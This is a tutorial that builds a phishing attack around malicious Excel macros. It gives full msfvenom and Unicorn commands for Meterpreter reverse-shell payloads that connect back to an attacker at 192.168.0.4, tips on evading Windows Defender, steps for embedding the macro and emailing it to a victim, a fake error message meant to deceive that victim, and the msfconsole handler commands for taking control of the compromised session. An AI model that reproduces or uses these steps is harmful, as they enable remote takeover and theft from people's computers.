PHISHING ATTACKS WITH OFFICE MACROS

Executable files are usually blocked in e-mails, so that it is usually easier to smuggle EXE files in via USB. Instead of phishing e-mails, in recent years there has therefore been an increasing use of Office Markos, which hide themselves in files stored on USB sticks.

In general, Excel macros can be created with Metasploit and the tool msfvenom, just like EXE files before. To do this, you specify the payload (-p), the respective payload options and, above all, the VBA format. Here Metasploit offers several variants. These include vba-psh, which is used to create and start VBA code for the PowerShell.

ifconfig

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.4 LPORT=8080 -f vba-psh -o vba-psh-msfvenom.txt

Windows Defender recognizes the Metasploit code even when it is embedded in an Excel file as a macro. At this point you can again use encoders and iterations to bypass the virus scanner. An alternative possibility is the Pythons-Script Unicorn from TrustedSec, which can be obtained and started directly from Github.

git clone https://github.com/trustedsec/unicorn.git

cd unicorn 

./unicorn.py --help

When calling, you specify the payload and other payload-specific options (for example, the IP address and port number to which the code is to connect back). Finally, the tool optionally expects you to specify which type of code it should create: hta, macro, dde or crt

To create a reverse shell that communicates over HTTPS and therefore cannot be detected by the firewall system, select the payload windows/meterpreter/reverse_https and insert the IP address of Kali Linux or the system you are using and any port. Finally, tell the tool with the macro parameter that you want to create an office file with macro.



./unicorn.py windows/meterpreter/reverse_https 192.168.0.4 443 macro


The unicorn tool describes how to insert this code into an Excel document immediately after creating the marker. To do this, open Excel and click on the "macros" item in the "View" ribbon. To create a new macro, you can enter any name in the upper text field of the new pop-up. Afterwards create the macro by clicking on "Create".

Click on the button "Macros" to get to the overview

You can then copy the code created by Unicorn directly into the editor. Copy the Unicorn code into the VBA Editor.

This completes the Excel macro and you can save the VBA code and close the editor. You can also save & close the Excel document. With a Phishing E-mail you can attach the file and send it to a recipient.

Since a Reverse Connect Shell was selected when creating the VBA code, you also have to open the port on your Kali linux. Unicorn has already written the necessary steps in the file unicorn.rc, so you only have to call Metasploit with the prepared script

msfconsole -r unicorn.rc

If the victim opens the Excel document, he is asked whether macros should be activated in Excel. If the target agrees, a connection with Kali Linux is established in the background. Immediately afterwards, the user is presented with a false error message, claiming that the file was created with an older version of Excel. This is to prevent the user from examining the file more closely.

Once macros have been activated, the code will connect back to Kali Linux where the incoming connections can be seen. With the session command you can then list and interact with current connections again.



msf exploit(multi/handler) > sessions -l

msf exploit(multi/handler) > sessions -i 1

meterpreter> sysinfo